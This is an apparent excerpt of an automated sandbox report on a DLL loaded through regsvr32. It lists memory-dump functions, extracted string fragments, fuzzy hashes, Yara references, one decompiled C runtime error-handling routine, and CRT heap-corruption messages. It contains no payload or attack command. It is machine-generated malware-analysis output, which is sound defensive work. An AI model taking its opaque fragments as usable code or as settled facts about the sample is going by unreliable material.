Instruction Fuzzy Hash: 6D510A31A096828AE7F48B68EC4576E73E4F395354F614135DADD83BB4DB3EE4448B01

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001DBFC Relevance: 10.0, Strings: 7, Instructions: 1221COMMON

Download Yara Rule

Strings

H<,D, xrefs: 000000018001E538
#X, xrefs: 000000018001ED39
e, xrefs: 000000018001EE19
$3, xrefs: 000000018001F431
1P, xrefs: 000000018001F6BA
I, xrefs: 000000018001E644
e, xrefs: 000000018001ECBD

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$$3$1P$H<,D$I$e$e
API String ID: 0-63615268
Opcode ID: f878a82ca4faae8fe20105a06ae6298662dc00276aeafef1a86afe3292831526
Instruction ID: 84603d17c853973844c2c43058df0d3f37fc759f8199a5ada31f3ca4409f6e56
Opcode Fuzzy Hash: f878a82ca4faae8fe20105a06ae6298662dc00276aeafef1a86afe3292831526
Instruction Fuzzy Hash: 64E2CF715046898BDBF9DF24C88A7DD3BA1BB44344FA0C119E88ECE291DF745A8DEB41

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800091A8 Relevance: 9.4, Strings: 7, Instructions: 640COMMON

Download Yara Rule

Strings

`S, xrefs: 0000000180009AA3
jk7, xrefs: 0000000180009A73
Ag9, xrefs: 00000001800096FE
N?, xrefs: 0000000180009A0F
*TG, xrefs: 00000001800095E1
yHb, xrefs: 0000000180009B63
, xrefs: 0000000180009467

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $*TG$Ag9$N?$`S$jk7$yHb
API String ID: 0-938425255
Opcode ID: a8480cca88ee067c9f89c24fcf558755f915344c34e6418cf6ef844eb024a60c
Instruction ID: 9f34faa7130dc1dd87f506cddbfe67dee9fd1f9295814769d0e47bce79b2000f
Opcode Fuzzy Hash: a8480cca88ee067c9f89c24fcf558755f915344c34e6418cf6ef844eb024a60c
Instruction Fuzzy Hash: 6D62E371A0530CDFCB59DFA8D18A6DDBBF1FF48344F004119E84AA72A0D7B4991ACB89

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001F908 Relevance: 9.2, Strings: 7, Instructions: 464COMMON

Download Yara Rule

Strings

3A<7, xrefs: 000000018001FDCE
B., xrefs: 000000018002023D
Jq^, xrefs: 000000018001FFC6
p<c, xrefs: 000000018001FFB4
eIas, xrefs: 000000018001FCD2
~;-, xrefs: 000000018002026C
#X, xrefs: 000000018001FA0E

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$3A<7$B.$Jq^$eIas$p<c$~;-
API String ID: 0-2724674699
Opcode ID: c830ff2e536ec82d4aacd995a299ed7dc96ce275305048a2346641cb28e12bef
Instruction ID: 11eaaa9cd8c54950f626fcd1c6608fbf38bfda5f45ba0fc90d4db62925cbbc4d
Opcode Fuzzy Hash: c830ff2e536ec82d4aacd995a299ed7dc96ce275305048a2346641cb28e12bef
Instruction Fuzzy Hash: 4142EAB090438C8BCBB8DF64C8857DD7BF0FB48308F50852DEA1A9B251DBB05685CB98

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2BE50 Relevance: 9.1, APIs: 6, Instructions: 79
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 33%

			E000007FE7FEF9D2BE50(intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esp, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a24) {
				intOrPtr _v4;
				void* _v12;
				signed long long _v24;
				signed int _v36;
				long long _v180;
				long long _v184;
				intOrPtr _v192;
				char _v196;
				intOrPtr _v204;
				long _v212;
				long long _v220;
				long long _v228;
				long long _v1212;
				long long _v1308;
				char _v1460;
				char _v1476;
				char _v1484;
				int _v1492;
				long long _v1500;
				long long _v1508;
				long long _v1516;
				long long _v1524;
				long long _v1532;
				long long _v1540;
				void* _t51;
				signed long long _t80;
				long long _t85;
				void* _t100;

				_a24 = r8d;
				_a16 = __edx;
				_a8 = __ecx;
				_t80 =  *0xf9d4b018; // 0x6ec74913a662
				_v24 = _t80 ^ _t100 - 0x00000610;
				if (_a8 == 0xffffffff) goto 0xf9d2be8d;
				E000007FE7FEF9D28D90(_t51, _a8);
				_v184 = 0;
				memset(__edi, 0, 0x94 << 0);
				_v1508 =  &_v196;
				_v1500 =  &_v1460;
				_v1492 = 0;
				_v212 = 0;
				__imp__RtlCaptureContext();
				_t85 = _v1212;
				_v220 = _t85;
				r8d = 0;
				0xf9d40e28();
				_v228 = _t85;
				if (_v228 == 0) goto 0xf9d2bf64;
				_v1516 = 0;
				_v1524 =  &_v1476;
				_v1532 =  &_v1484;
				_v1540 =  &_v1460;
				0xf9d40e22();
				goto 0xf9d2bf84;
				_v1212 = _v12;
				_v1308 =  &_v12;
				_v196 = _a4;
				_v192 = _a12;
				_v180 = _v12;
				_v1492 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(??);
				_v212 = UnhandledExceptionFilter(??);
				if (_v212 != 0) goto 0xf9d2bffb;
				if (_v1492 != 0) goto 0xf9d2bffb;
				if (_v4 == 0xffffffff) goto 0xf9d2bffb;
				return E000007FE7FEF9D23280(E000007FE7FEF9D28D90(_t59, _v4), _v4, __edx, _v36 ^ _t100 - 0x00000610, _v204, _v220);
			}

0x7fef9d2be50
0x7fef9d2be55
0x7fef9d2be59
0x7fef9d2be65
0x7fef9d2be6f
0x7fef9d2be7f
0x7fef9d2be88
0x7fef9d2be8d
0x7fef9d2beaa
0x7fef9d2beb4
0x7fef9d2bebe
0x7fef9d2bec3
0x7fef9d2becb
0x7fef9d2bedb
0x7fef9d2bee1
0x7fef9d2bee9
0x7fef9d2bef1
0x7fef9d2bf04
0x7fef9d2bf09
0x7fef9d2bf1a
0x7fef9d2bf1c
0x7fef9d2bf2a
0x7fef9d2bf34
0x7fef9d2bf3e
0x7fef9d2bf5d
0x7fef9d2bf62
0x7fef9d2bf6c
0x7fef9d2bf7c
0x7fef9d2bf8b
0x7fef9d2bf99
0x7fef9d2bfa8
0x7fef9d2bfb6
0x7fef9d2bfbc
0x7fef9d2bfcd
0x7fef9d2bfdc
0x7fef9d2bfe3
0x7fef9d2bfed
0x7fef9d2c013

APIs

RtlCaptureContext.KERNEL32 ref: 000007FEF9D2BEDB
RtlLookupFunctionEntry.KERNEL32 ref: 000007FEF9D2BF04
RtlVirtualUnwind.KERNEL32 ref: 000007FEF9D2BF5D
IsDebuggerPresent.KERNEL32 ref: 000007FEF9D2BFB0
SetUnhandledExceptionFilter.KERNEL32 ref: 000007FEF9D2BFBC
UnhandledExceptionFilter.KERNEL32 ref: 000007FEF9D2BFC7

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 3c99f19865488fa949415da8e2229a8dc4eaaacedc1a65a8015e4c0ea1d70d8e
Instruction ID: ff33e713b9b9862e94e2d2fd4ae4d55f0027255630586c455cca821aadc81769
Opcode Fuzzy Hash: 3c99f19865488fa949415da8e2229a8dc4eaaacedc1a65a8015e4c0ea1d70d8e
Instruction Fuzzy Hash: 7041BE32909BC58AE6B08B14F8443AFB3A1F388355F50522996CD42BA8EB7ED095CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D28900 Relevance: 7.6, APIs: 5, Instructions: 55timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D2893B
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D2894B
GetCurrentThreadId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D28963
GetTickCount.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D2897B
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D28998

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 3c45f80db2f34b613ab4c9fa771cbb066be9ba5f1b7e4cdc55cd1e9c18cefb40
Instruction ID: 08a22431f858d3c52821bee646358606f5e13fcd060269a72eebdbe744b14aa1
Opcode Fuzzy Hash: 3c45f80db2f34b613ab4c9fa771cbb066be9ba5f1b7e4cdc55cd1e9c18cefb40
Instruction Fuzzy Hash: 7A21E62160AF0585DAB08B19FC5032E77E0E78DBA5F241235AADD83778EF3DD2948700

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002B368 Relevance: 7.1, Strings: 5, Instructions: 879COMMON

Download Yara Rule

Strings

ibq, xrefs: 000000018002BDE9
UE;~, xrefs: 000000018002B5B6
Fg, xrefs: 000000018002BAF8
X, xrefs: 000000018002B70D
o, xrefs: 000000018002BB2A

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Fg$UE;~$ibq$X$o
API String ID: 0-4038568857
Opcode ID: 478ae4c756925d4c0df58bf132ef81c61d708642842f5bb4a6db73d18922ca94
Instruction ID: c65d31d342ee38981127283826f07a965cef744f0e08d64225b30ad95669dc15
Opcode Fuzzy Hash: 478ae4c756925d4c0df58bf132ef81c61d708642842f5bb4a6db73d18922ca94
Instruction Fuzzy Hash: B0A2E9B1E0470C9FCB59CFA8E48A6DEBBF2FB48344F004119E906B7251D7B49919CB99

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000445C Relevance: 7.1, Strings: 5, Instructions: 813COMMON

Download Yara Rule

Strings

7cm, xrefs: 00000001800053EE
!g, xrefs: 0000000180004D5E
!g, xrefs: 0000000180004B1C
-{e, xrefs: 0000000180004781
.9Y, xrefs: 0000000180004C85

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: !g$!g$-{e$.9Y$7cm
API String ID: 0-3613756181
Opcode ID: 8466a7fe0396b74cedb6887ba44c1057051f2a552123ac4d034c792a786adc4e
Instruction ID: bf5508b14f48093895fd1996fdb0e85e6185e8dd26636c64e6a2ba956b5e503a
Opcode Fuzzy Hash: 8466a7fe0396b74cedb6887ba44c1057051f2a552123ac4d034c792a786adc4e
Instruction Fuzzy Hash: 409231711483CB8BCB78CF54C845BEEBBE1FB84704F10852CE86A8BA51E7B49649DB41

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800054D8 Relevance: 6.8, Strings: 5, Instructions: 573COMMON

Download Yara Rule

Strings

Ol, xrefs: 0000000180005B44
km}&, xrefs: 00000001800057AF
ttR, xrefs: 0000000180005A75
`P, xrefs: 000000018000559C
i(, xrefs: 0000000180005A7D

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Ol$`P$i($km}&$ttR
API String ID: 0-1254889785
Opcode ID: 9493bf0160dfff7cf218a8f761ba212010c51dc1cc37675f8f08f25cb4825c85
Instruction ID: 987162bd0b035dc474e6baf50d73a519649db35efcc54d1c771acda0ad58d409
Opcode Fuzzy Hash: 9493bf0160dfff7cf218a8f761ba212010c51dc1cc37675f8f08f25cb4825c85
Instruction Fuzzy Hash: 57422870908B488FD769CF79C48965EBBF1FB88748F204A1DE6A297271DB709845CF42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001D128 Relevance: 6.5, Strings: 5, Instructions: 249COMMON

Download Yara Rule

Strings

t7", xrefs: 000000018001D35B
wHM, xrefs: 000000018001D3F6
T', xrefs: 000000018001D199
T', xrefs: 000000018001D27D
&JS, xrefs: 000000018001D362

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: &JS$T'$T'$t7"$wHM
API String ID: 0-3882947952
Opcode ID: e1efb4f73683d5eb84ec2e51f9646df27f06f31a7415d6bac1a400d419ecf411
Instruction ID: 5dfe4264b2e9e46270ab4916ee937e41ce96fb3ef9e59635e1bc08d1b7ce1cf5
Opcode Fuzzy Hash: e1efb4f73683d5eb84ec2e51f9646df27f06f31a7415d6bac1a400d419ecf411
Instruction Fuzzy Hash: C6C1E3B150464DDFCB98CF28D1856DA7BE0FF48318F41822AFC0A9B264D774DA68DB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180023748 Relevance: 6.4, Strings: 5, Instructions: 194COMMON

Download Yara Rule

Strings

]|m, xrefs: 0000000180023853
9=, xrefs: 00000001800239C1
=+%2, xrefs: 000000018002389D
2T, xrefs: 0000000180023784
.s, xrefs: 00000001800238D7

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 2T$=+%2$]|m$.s$9=
API String ID: 0-2491194820
Opcode ID: cf9153d85b611db8c4e34f9d3970acb18e39f17aceac1e5b04446b1241c988c8
Instruction ID: b22ad84dfc9a36729601f04a7d34ea20b01e779292d252d1f9b28ced5abbce67
Opcode Fuzzy Hash: cf9153d85b611db8c4e34f9d3970acb18e39f17aceac1e5b04446b1241c988c8
Instruction Fuzzy Hash: AE911570D0978C8FDB99DFE8D046BDEBBB2EB15348F40412DE44AAB298D774550ACB41

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180002888 Relevance: 6.4, Strings: 5, Instructions: 185COMMON

Download Yara Rule

Strings

PXf, xrefs: 00000001800028B1
2>, xrefs: 0000000180002A36
]V., xrefs: 0000000180002BCC
fE, xrefs: 000000018000289F
<jG, xrefs: 0000000180002ABA

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: <jG$PXf$]V.$fE$2>
API String ID: 0-2974598014
Opcode ID: bad49f1636925e4aa97c527113884a17b5682b6c71c0135986e4f76ada5c5575
Instruction ID: 93145a700ffc0e4eb939e50d890ad0ed9c26548b847d798d32bc26a6146f6c62
Opcode Fuzzy Hash: bad49f1636925e4aa97c527113884a17b5682b6c71c0135986e4f76ada5c5575
Instruction Fuzzy Hash: 3FA1E9716097C88FDBBADF68C84A7CB7BE4FB49704F50461DD88A8A250CBB45649CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180026A64 Relevance: 6.4, Strings: 5, Instructions: 132COMMON

Download Yara Rule

Strings

i,, xrefs: 0000000180026A96
-, xrefs: 0000000180026B83
<yH, xrefs: 0000000180026B1C
`Zx, xrefs: 0000000180026BF7
i,, xrefs: 0000000180026ABF

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: -$<yH$`Zx$i,$i,
API String ID: 0-409805761
Opcode ID: f6182156d312c6874ac13020d1629895101c3b27d9b9d95c05b51086f9e303f4
Instruction ID: e265554e7eca7cf7370185f19b3f513919126148552d798dab9d7d185450bf95
Opcode Fuzzy Hash: f6182156d312c6874ac13020d1629895101c3b27d9b9d95c05b51086f9e303f4
Instruction Fuzzy Hash: 1F511D70E0470ECFCB59CFA8D4956EFBBB6EB44384F00816DD406A6290DB749B59CB85

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000D12C Relevance: 5.6, Strings: 4, Instructions: 633COMMON

Download Yara Rule

Strings

p1, xrefs: 000000018000DC0D
f F, xrefs: 000000018000D8B9
B, xrefs: 000000018000DD6C
G, xrefs: 000000018000DDA8

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: G$B$f F$p1
API String ID: 0-995880848
Opcode ID: f106650fdab1d10f8436c7cd336edd67fd48273b3da7da9a68bf46945136c829
Instruction ID: e5e766d75efbf2695ddd79b534cb997516972fc828d7cc42ecf8557e6a546d15
Opcode Fuzzy Hash: f106650fdab1d10f8436c7cd336edd67fd48273b3da7da9a68bf46945136c829
Instruction Fuzzy Hash: F972F87058478A8FDBB8DF24C8857EF7BA2FB84304F11852DE89A8B250DBB59655CF01

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180028D94 Relevance: 5.5, Strings: 4, Instructions: 533COMMON

Download Yara Rule

Strings

<!b, xrefs: 00000001800294A1
qz;, xrefs: 000000018002901B
q+|k, xrefs: 000000018002954F
[2\, xrefs: 00000001800293AB

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: <!b$[2\$q+|k$qz;
API String ID: 0-4125875841
Opcode ID: 4b7cb7bbd3893869e40255ef41bc2512a7308139999d5a55f5be408d5e599cf0
Instruction ID: a542c4577bd7c2caf4f59e22e2006f44d15bdd166a7528eec1f5ff4567d3e676
Opcode Fuzzy Hash: 4b7cb7bbd3893869e40255ef41bc2512a7308139999d5a55f5be408d5e599cf0
Instruction Fuzzy Hash: 883234716187448FC769DF68C58A65EBBF0FB86744F10891DF6868B2A0C7B2D809CF42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000BEF0 Relevance: 5.4, Strings: 4, Instructions: 360COMMON

Download Yara Rule

Strings

\h], xrefs: 000000018000C087
WE0, xrefs: 000000018000C310
&, xrefs: 000000018000C3AB
5RX, xrefs: 000000018000C159

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: &$5RX$WE0$\h]
API String ID: 0-3485045178
Opcode ID: 03a43095a46f3f61d774493bb922c9041777d8e7f6728b8083ed9e1489c990f2
Instruction ID: bcdd786ba30a02497e69aa8425991a4f00e6ab9cdb2a577162cf86c9936701da
Opcode Fuzzy Hash: 03a43095a46f3f61d774493bb922c9041777d8e7f6728b8083ed9e1489c990f2
Instruction Fuzzy Hash: 4502E4705187C88BD794DFA8C48A69FFBE1FB94744F104A1DF486862A0DBF4D949CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180013674 Relevance: 5.3, Strings: 4, Instructions: 329COMMON

Download Yara Rule

Strings

\), xrefs: 00000001800136D9
v8, xrefs: 00000001800139E8
A1, xrefs: 0000000180013696
A1, xrefs: 00000001800136BE

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: A1$A1$\)$v8
API String ID: 0-2822171287
Opcode ID: 392d2325a62e3d43b495978243ee00a583b670d5214b1fd2fb6c21b80fcb7928
Instruction ID: 6e847e787c057b57acc1c354f394c9b4082fee365cea8ba22b71c11ea9ebc013
Opcode Fuzzy Hash: 392d2325a62e3d43b495978243ee00a583b670d5214b1fd2fb6c21b80fcb7928
Instruction Fuzzy Hash: 40F1EF71904348DBCF9CDF68C88A6DE7FA1FF48394FA05129FA4697250C7759989CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800126A8 Relevance: 5.3, Strings: 4, Instructions: 317COMMON

Download Yara Rule

Strings

pv>&, xrefs: 0000000180012A94
*ECV, xrefs: 0000000180012B72
;., xrefs: 0000000180012ADD
;., xrefs: 0000000180012AD8

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: *ECV$;.$;.$pv>&
API String ID: 0-2557916696
Opcode ID: 4cb81f83a04ef04c4b0be031f68b033a83f7e38034b852111fd97ec7dec363fa
Instruction ID: 7999f9c4935295cc2aa309186ca72e602cbe03928e3ff34651e0e21172d74868
Opcode Fuzzy Hash: 4cb81f83a04ef04c4b0be031f68b033a83f7e38034b852111fd97ec7dec363fa
Instruction Fuzzy Hash: 52F1C0B0505609DFCB98CF28C599ADA7BE0FF48348F41812EFC4A9B260D774DA68DB45

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002D098 Relevance: 5.3, Strings: 4, Instructions: 255COMMON

Download Yara Rule

Strings

}gK, xrefs: 000000018002D285
Hwn, xrefs: 000000018002D518
NR'$, xrefs: 000000018002D4D9
fkD, xrefs: 000000018002D101

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Hwn$NR'$$fkD$}gK
API String ID: 0-1908897248
Opcode ID: a42200c2a405048015f864ccfe9f3e227c0945315cfa0ff0bef3f4c816ba0cee
Instruction ID: b3495f7b3258c7cfbbaf34d24a151d9f74cd673a76d708f913f7006ffd896b9d
Opcode Fuzzy Hash: a42200c2a405048015f864ccfe9f3e227c0945315cfa0ff0bef3f4c816ba0cee
Instruction Fuzzy Hash: 4AE1E6701083C8CBDBFADF64C889BDA7BACFB44708F105519EA0A9E258DB745789CB01

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800184E8 Relevance: 5.2, Strings: 4, Instructions: 250COMMON

Download Yara Rule

Strings

!vT, xrefs: 0000000180018766
?gs , xrefs: 0000000180018803
Y^u, xrefs: 00000001800186D0
3P, xrefs: 0000000180018583

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: !vT$3P$?gs $Y^u
API String ID: 0-3532888945
Opcode ID: b61af7194893f8c82987b2510d64685971d92872f6245166d2af23a9bb7efed9
Instruction ID: a130400614884e80b8bc041bf9d1a61bd98fb93a976fe1395b57ea9810b4de45
Opcode Fuzzy Hash: b61af7194893f8c82987b2510d64685971d92872f6245166d2af23a9bb7efed9
Instruction Fuzzy Hash: 72C1207160170DCBDBA8CF28C18A6CE3BE5FF48354F104129FC1A9A261D7B4EA59DB45

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800243F4 Relevance: 5.2, Strings: 4, Instructions: 240COMMON

Download Yara Rule

Strings

2s, xrefs: 0000000180024615
7k A, xrefs: 0000000180024659
k, xrefs: 00000001800244B1
-,, xrefs: 0000000180024672

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: -,$7k A$k$2s
API String ID: 0-3102563331
Opcode ID: 21b97ee769df899699db8ec55527806a56553d5edd7851697391367575400d1c
Instruction ID: bac349e1162b647475c44c7bb34b04b6f4b8289c4e67fa9b2355cb93066e8c6e
Opcode Fuzzy Hash: 21b97ee769df899699db8ec55527806a56553d5edd7851697391367575400d1c
Instruction Fuzzy Hash: 36C1387151074D9BCF89DF28C88A5DD3BB1FB48398F566219FC4AA6260C7B4D584CF84

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180020F44 Relevance: 5.2, Strings: 4, Instructions: 202COMMON

Download Yara Rule

Strings

]}, xrefs: 00000001800210EC
s5xe, xrefs: 0000000180021128
Ho<, xrefs: 0000000180020FF7
76N, xrefs: 0000000180021157

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 76N$Ho<$]}$s5xe
API String ID: 0-3382501871
Opcode ID: 48f959005062580ac36a5c68606ec558c6a5f2e613880a1e5b76a83967194bde
Instruction ID: 0065c1d241d3448e2397ca8c0fa5a5365e82301828f7e764778ef267285b4530
Opcode Fuzzy Hash: 48f959005062580ac36a5c68606ec558c6a5f2e613880a1e5b76a83967194bde
Instruction Fuzzy Hash: 47A1E171504349CFCB95DF28C089ACA7BE0FF58308F42562AFC49A7255D774DAA8CB85

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001CD44 Relevance: 5.2, Strings: 4, Instructions: 181COMMON

Download Yara Rule

Strings

@:, xrefs: 000000018001CECB
]U, xrefs: 000000018001CDA7
]U, xrefs: 000000018001CF93
<~], xrefs: 000000018001CF9D

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: <~]$@:$]U$]U
API String ID: 0-740249671
Opcode ID: f6acb40b154dde8fa3df42201c69f340e4f140856c7e7667b8c968f76e5b3c44
Instruction ID: 93bbccedb30105693727df547a8ee70240eea560fa1b67170d45bbd81435be64
Opcode Fuzzy Hash: f6acb40b154dde8fa3df42201c69f340e4f140856c7e7667b8c968f76e5b3c44
Instruction Fuzzy Hash: BC81387450660DCFDB69DF68D0867EE77F2FB24344F204029E815DA2A2D774CA19CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D25E01 Relevance: 5.2, Strings: 4, Instructions: 178COMMON

Download Yara Rule

Strings

%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d)., xrefs: 000007FEF9D2617C
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25FE7
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25EF9
HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d)., xrefs: 000007FEF9D260C7

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

